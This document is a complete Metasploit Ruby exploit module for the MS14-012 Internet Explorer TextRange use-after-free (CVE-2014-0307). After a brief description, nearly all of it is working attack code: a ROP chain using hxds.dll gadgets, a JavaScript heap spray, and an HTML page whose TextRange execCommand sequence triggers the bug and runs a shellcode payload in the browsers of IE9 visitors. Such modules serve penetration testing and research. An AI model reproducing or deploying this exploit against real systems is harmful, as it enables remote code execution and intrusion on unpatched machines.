This Metasploit module exploits a use-after-free vulnerability found in Internet Explorer. The flaw was most likely introduced back in 2013, therefore only certain builds of MSHTML are affected. In our testing with IE9, these vulnerable builds appear to be between 9.0.8112.16496 and 9.0.8112.16533, which implies August 2013 until early March 2014 (before the patch).
85541f060fdc844f7022ba1f1028c17d0836c505b9c83aa7c8c91868e0d21f22##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => "MS14-012 Internet Explorer TextRange Use-After-Free",
'Description' => %q{
This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw
was most likely introduced back in 2013, therefore only certain builds of MSHTML are
affected. In our testing with IE9, these vulnerable builds appear to be between
9.0.8112.16496 and 9.0.8112.16533, which implies August 2013 until early March 2014
(before the patch).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jason Kratzer', # Original discovery
'sinn3r' # Port
],
'References' =>
[
[ 'CVE', '2014-0307' ],
[ 'MSB', 'MS14-012' ]
],
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script/i,
:os_name => OperatingSystems::WINDOWS,
:ua_name => HttpClients::IE,
:office => "2010"
#:ua_ver => '9.0' # Some fingerprinting issue w/ os_detect, disabled for now
},
'Targets' =>
[
[
'Automatic',
{
# mov eax,dword ptr [edx+0C4h]; call eax
'Pivot' => 0x0c0d1020 # ECX
}
]
],
'Payload' =>
{
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500
},
'DefaultOptions' =>
{
'Retries' => false, # You're too kind, tab recovery, I only need 1 shell.
'InitialAutoRunScript' => 'migrate -f'
},
'DisclosureDate' => "Mar 11 2014", # Vuln was found in 2013. Mar 11 = Patch tuesday
'DefaultTarget' => 0))
end
# hxds.dll
def get_payload
setup =
[
0x51C3B376, # rop nop
0x51C2046E, # pop edi; ret
0x51BE4A41, # xchg eax, esp; ret
].pack("V*")
# rop nops
45.times { setup << [0x51C3B376].pack('V*') }
setup << [
0x51C2046E, # pop edi ; ret
0x51BD28D4 # mov eax, [ecx], call [eax+8]
].pack('V*')
p = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>setup})
Rex::Text.to_unescape(p)
end
def exploit_html
template = %Q|<!DOCTYPE html>
<html>
<head>
<meta http-equiv='Cache-Control' content='no-cache'/>
<meta http-equiv="X-UA-Compatible" content="IE=edge" >
<script>
<%=js_property_spray%>
sprayHeap({shellcode:unescape("<%=get_payload%>")});
function hxds() {
try {
location.href = 'ms-help:';
} catch(e) {}
}
function strike() {
hxds();
var fake = "";
for (var i = 0; i < 12; i++) {
if (i==0) {
fake += unescape("<%=Rex::Text.to_unescape([target['Pivot']].pack('V*'))%>");
}
else {
fake += "\\u4141\\u4141";
}
}
var elements = [
'FOOTER', 'VIDEO', 'HTML', 'DIV', 'WBR', 'THEAD', 'PARAM', 'SECTION', 'IMG',
'TIME', 'ASISE', 'CANVAS', 'P', 'RT', 'FRAMESET', 'TRACK', 'CAPTION'
];
for (var i = 0; i < elements.length; i++) {
var element = document.createElement(elements[i]);
document.body.appendChild(element);
}
var tRange = document.body.createTextRange();
tRange.moveToElementText(document.body.children[16]);
tRange.execCommand('InsertInputSubmit', true, null);
tRange.moveToElementText(document.body.children[0]);
tRange.moveEnd('character',4);
tRange.execCommand('InsertOrderedList', true, null);
tRange.select();
tRange.moveToElementText(document.body.children[0]);
tRange.moveEnd('character',13);
tRange.execCommand('Underline', true, null);
tRange.execCommand('RemoveFormat', true, null);
var fillObject = document.createElement('button');
fillObject.className = fake;
}
</script>
</head>
<body onload='strike();'></body>
</html>
|
return template, binding()
end
def on_request_exploit(cli, request, target_info)
send_exploit_html(cli, exploit_html)
end
end
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